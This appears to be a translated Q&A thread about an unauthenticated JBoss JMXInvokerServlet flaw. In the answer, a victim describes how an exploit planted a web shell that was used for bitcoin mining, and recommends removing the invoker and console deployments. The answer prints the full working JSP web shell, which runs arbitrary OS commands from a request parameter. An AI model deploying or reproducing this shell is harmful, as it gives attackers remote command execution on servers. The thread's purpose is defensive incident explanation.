Apache Tomcat / JBoss EJBInvokerServlet / JMXInvokerServlet(基于HTTP的RMI)编组对象远程代码执行

时间:2013-12-13 06:12:40

标签: java tomcat jboss

在测试期间,我们执行了漏洞扫描,并确定了一个不需要对JMXInvokerSerlet进行身份验证的Jboss服务器。 我没有准确地解决问题。无论是Jboss问题还是servlet?

如果有人可以帮助我,请告诉我解决方案。

什么是问题,是否有任何解决方案? 提前谢谢

1 个答案:

答案 0 :(得分:0)

我的VPS上最近遇到了这个问题。

我有一个JBoss安装(版本4.2.3),任何人都可以访问web控制台和调用程序。发生的事情是有人利用这个JBoss Vulnerability并使用现有的exploit在我的Jboss安装中插入一个JSP Web shell。

JSP Web Shell基本上是这样的:

    <%@ page import="java.util.*,java.io.*"%>
    <%
    String cmd;
    String[] cmdarr;
    String OS = System.getProperty("os.name");
    if (request.getParameter("cmd") != null) {
        cmd = new String (request.getParameter("cmd"));
      if (OS.startsWith("Windows")) {
       cmdarr = new String [] {"cmd", "/C", cmd};
      }
      else {
       cmdarr = new String [] {"/bin/sh", "-c", cmd};
      }
      Process p = Runtime.getRuntime().exec(cmdarr);
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      DataInputStream dis = new DataInputStream(in);
      String disr = dis.readLine();
      while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
      }
    }
%>

这使得攻击者可以直接从浏览器执行操作系统命令。在我的情况下,我的VPS被用来挖掘比特币,在wget之后获取一个看起来像另一种类型的控制台的Perl脚本。

课程学到了很多方法:(所以,如果你还没有做任何事,请做。

我只是删除了HttpInvoker和WebConsole / JMX-Console的部署,因为我不需要它们。您还可以看到how to secure the WebConsolethis link also provides a better explanation,而不是我。

希望有所帮助!